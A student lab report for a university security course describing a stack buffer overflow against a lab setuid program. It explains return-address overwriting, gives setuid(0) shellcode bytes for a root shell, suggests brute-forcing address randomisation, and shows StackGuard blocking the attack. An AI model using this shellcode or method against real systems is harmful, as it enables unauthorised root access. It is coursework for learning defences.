ECE 458 Assignment 1

Christopher Wu - 20305170, Fravic Fernando - 20304037

Task 1

Using gdb we set a breakpoint at the bof function. From this we deduced that our return address was placed at `0xBFFFF2FC` which indicated the end of the stack frame for the bof function. Based on this the attack vector overwrote the return address with the return address location + 100 bytes(`0xBFFFF360`) and the shell code was put at the end of this payload. Using this we were able to exploit the stack program using a buffer overflow attack.

Task 2

After symlinking sh back to bash the same buffer overflow attack successfully spawned a new shell, but without root access. Instead the original user that spawned the shell, 'seed', remained as both the real user id as well as the effective user id.

This is because although ./stack has been set to run with the effective uid as root, bash checks the real uid and determines that the current uid is still 'seed' since running an executable with `4755` only sets the effective uid to root. Therefore bash assumes that the executable was not supposed to spawn a shell as the effective uid but rather as the real uid and spawns the shell as 'seed'.

In order to truly gain root access we need to call `setuid(0)` to set the real uid to root. This is possible when the effective uid is already root as in the stack program.

To do this we follow the same process as mentioned in Smashing the Stack for fun and profit[1]. First we have a binary that calls `setuid(0)` and compile it `-static` so the `setuid` is included with the executable. We then disassemble the `setuid` function in `gdb` to find the following lines responsible for the system call to set the uid.

```
0x0804e79e <setuid+46>: mov    0x8(%ebp),%ebx
0x0804e7a1 <setuid+49>: mov    $0xd5,%eax
0x0804e7a6 <setuid+54>: int    $0x80
```

Here we see that `ebx` stores the uid to set, `0xd5` is the system call number and then a trap interrupt is sent to invoke the kernel. Translating this into assembly to inject we have:

```
mov $0x0,%ebx  ;
mov $0xd5,%eax ;
int $0x80      ;
```

However there is a problem where the machine code contains `'0x00'` which would be interpreted as `NULL` and terminate the buffer overflow inside the `strcpy`.

So the following assembly is used as a substitute:

```
xor    %ebx,%ebx ; // "mov    $0x0,%ebx; "
xor    %eax,%eax ; // "mov    $0xd5,%eax; "
movb   $0xd5,%al ; // "mov    $0xd5,%eax; "
int    $0x80     ;
```

This is then disassembled into machine code in `gdb` using the `x/bx` command and the result is inserted before the shellcode to set the uid to root so the shell may be spawned as root in bash.

[1] http://insecure.org/stf/smashstack.html

```
  "\x31\xdb"          /* Line 1:  xorl   %ebx,%ebx   */
  "\x31\xc0"          /* Line 3:  xorl   %eax,%eax   */
  "\xb0\xd5"          /* Line 4:  movb   $0xd5,%al   */
  "\xcd\x80"          /* Line 5:  int    $0x80       */
```

Task 3

After resetting the `randomize_va_space` kernel flag to 2, the stack program causes a segmentation fault since the return address does not point to a memory location within the program. This is because the kernel now randomly generates the virtual address which the program starts at. The attack relies on the fact we can guess the stack address location so we can point the overridden return address into the `NOP` space to run before the shell code. However randomization prevents us from using a constant return address to reliably jump to. This makes the attack come down to chance.

However the attack's success comes down to a chance that the randomization of virtual address space comes close to what we guessed and the attack will work successfully. This can be brute forced by running an infinite loop which will repeatedly try run the exploited program until root shell is obtained. However due to the large random address space, this can take a very long time.

Task 4

After turning off `-fno-stack-protector`, when the exploited program run this is the output:

```
*** stack smashing detected ***: ./stack terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0x4012cef8]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0x4012ceb0]
./stack[0x8048513]
[0xbffff360]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 17727      /home/seed/ece458/stack
08049000-0804a000 r--p 00000000 08:01 17727      /home/seed/ece458/stack
0804a000-0804b000 rw-p 00001000 08:01 17727      /home/seed/ece458/stack
09ac0000-09ae1000 rw-p 09ac0000 00:00 0          [heap]
40000000-4001c000 r-xp 00000000 08:01 278463     /lib/ld-2.9.so
4001c000-4001d000 r--p 0001b000 08:01 278463     /lib/ld-2.9.so
4001d000-4001e000 rw-p 0001c000 08:01 278463     /lib/ld-2.9.so
4001e000-4001f000 r-xp 4001e000 00:00 0          [vdso]
4001f000-40022000 rw-p 4001f000 00:00 0
4002f000-4018b000 r-xp 00000000 08:01 294460     /lib/tls/i686/cmov/libc-2.9.so
4018b000-4018c000 ---p 0015c000 08:01 294460     /lib/tls/i686/cmov/libc-2.9.so
4018c000-4018e000 r--p 0015c000 08:01 294460     /lib/tls/i686/cmov/libc-2.9.so
4018e000-4018f000 rw-p 0015e000 08:01 294460     /lib/tls/i686/cmov/libc-2.9.so
4018f000-40193000 rw-p 4018f000 00:00 0
401a1000-401ae000 r-xp 00000000 08:01 278049     /lib/libgcc_s.so.1
401ae000-401af000 r--p 0000c000 08:01 278049     /lib/libgcc_s.so.1
401af000-401b0000 rw-p 0000d000 08:01 278049     /lib/libgcc_s.so.1
bfdc2000-bfdd7000 rw-p bffea000 00:00 0          [stack]
```

The program crashes and root access is not obtained. This is due to gcc's StackGuard preventing basic buffer overflow attacks on the stack's return address.